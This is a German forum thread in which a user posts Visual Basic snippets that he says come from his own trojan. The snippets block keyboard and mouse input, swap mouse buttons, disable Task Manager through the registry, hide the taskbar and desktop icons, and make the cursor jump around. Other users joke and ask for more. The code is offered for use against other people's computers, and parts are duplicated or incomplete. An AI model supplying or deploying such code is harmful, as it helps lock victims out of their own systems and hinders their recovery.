So da man ja doch mal bissl was machen will mir vb werde ich mal ein paar source snippets (bruchstücke), nach denen immer wieder gefragt wird, posten. Sind alles auskopplungen aus meinem trojaner deswegen geht vorsichtig mit um
ein paar funzen nur unter xp aber haben ja die meisten hoffentlich
SO LETS GO
Maus Buttons vertauschen:
Code:
Private Declare Function SwapMouseButton Lib "user32.dll" (ByVal bSwap As Long) As Long
SwapMouseButton (1) 'invert on
SwapMouseButton (0) 'invert off
Maus/Tastaur Blocken
Code:
Private Declare Function BlockInput Lib "user32.dll" ( _
ByVal fBlockIt As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
(ByVal hwnd As Long, ByVal lpOperation As String, _
ByVal lpFile As String, ByVal lpParameters As String, _
ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function ExitWindows Lib "user32" Alias _
"ExitWindowsEx" (ByVal dwOptions As Long, ByVal _
dwReserved As Long) As Long
'API zum Beenden von windows
Private Declare Function ExitWindows Lib "User32" Alias _
"ExitWindowsEx" (ByVal dwOptions As Long, ByVal _
dwReserved As Long) As Long
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD" 'deaktivieren
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "0", "REG_DWORD" 'aktiveren
Ctrl-Alt-Del (De)aktivieren
Code:
Private Declare Function SystemParametersInfo Lib "user32" _
Alias "SystemParametersInfoA" (ByVal uAction As Long, _
ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetWindow Lib "user32" Alias "GetWindow" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Const GW_CHILD = 5
'verstecken
Private Declare Function ShowWindow Lib "user32" Alias "ShowWindow" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Const SW_HIDE = 0
Private Const SW_RESTORE = 9
'schließen
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Const WM_CLOSE = &H10
'verschieben
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const SWP_NOSIZE = &H1
'Der erste Teil bleibt dabei immer der gleiche
Dim ret As Long
ret& = FindWindow("shell_traywnd", "")
ret& = GetWindow(ret, GW_CHILD)
so das is jede menge. Da mir gerade die lust vergeht erspar ich mir den rest wie deskopicons verstecken oder maus verstecken oder bse mouse
aber auf wunsch poste ich die auch noch _________________
Bitchkiller_ Tutorial Leser
Anmeldedatum: 12.12.2006 Beiträge: 23
Verfasst am: 06.04.2007, 16:20
die bse mouse würde mich interessieren, gibt die auch milch? _________________
ZiG_ Überflieger
Anmeldedatum: 07.03.2007 Beiträge: 1248
Verfasst am: 06.04.2007, 16:31
ne, nur kakao.
Edit//
Ich schätze mal das is ne einfache Schleife, die immer die Position der Maus verändert.
Einfallsreicher wäre aber, wenn man den Mauszeiger gegen einen Mittelfinger-Mauszeiger austauscht. _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
Zuletzt bearbeitet von ZiG_ am 06.04.2007, 16:33, insgesamt einmal bearbeitet
Bitchkiller_ Tutorial Leser
Anmeldedatum: 12.12.2006 Beiträge: 23
Verfasst am: 06.04.2007, 16:33
schade, aber ich fänds echt nice wenn du das mit den icons, und der maus nochmal posten könntest
Naja Probiers mal aus ich glaub du verstehst warum ich es BSE Maus genannt habe...btw: mein erster name war crazy-mouse (öde)
Du benötigst zwei timer(timer1 und timer2) und am besten nen grooooßen button(command1) zum beenden
[code]
Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, _
ByVal Y As Long) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As _
POINTAPI) As Long
Private Type POINTAPI
X As Long
Y As Long
End Type
Private X As Long
Private Y As Long
Private Sub Command1_Click()
End
End Sub
Private Sub Form_Load()
Dim pT As POINTAPI
'Zwischenspeichern beim Laden, damit der Mauszeiger von dort startet,
'wo er momentan ist
GetCursorPos pT
MsgBox "Muuuuuuuhhh, Ich hoffe du hast an den möglichst großen exit button gedacht ^^"
Timer1.Interval = 1
Timer2.Interval = 1
Timer1.Enabled = True
Timer2.Enabled = True
End Sub
[/code]
EDIT:// und ncoh der source für desktopicons verstecken und disablen:
[code]
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal _
lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, _
ByVal wCmd As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _
ByVal nCmdShow As Long) As Long
Private Declare Function EnableWindow Lib "user32" (ByVal hwnd As Long, _
ByVal fEnable As Long) As Long
Sub ShowDesktopIcons(ByVal bVisible As Boolean)
Dim hWnd_DesktopIcons As Long
hWnd_DesktopIcons = GetWindow( FindWindow("Progman", "Program Manager"), _
GW_CHILD)
If bVisible Then
ShowWindow hWnd_DesktopIcons, SW_SHOW
Else
ShowWindow hWnd_DesktopIcons, SW_HIDE
End If
End Sub
Sub EnableDesktop(ByVal bEnable As Boolean)
Dim hWnd_Desktop As Long
hWnd_Desktop = GetWindow( FindWindow("Progman", "Program Manager"), _
GW_CHILD)
If bEnable Then
EnableWindow hWnd_Desktop, True
Else
EnableWindow hWnd_Desktop, False
End If
End Sub
[/code]
hab ich von google und nich getestet. Also keine garantie. wenne noch was suchst pm oder google. _________________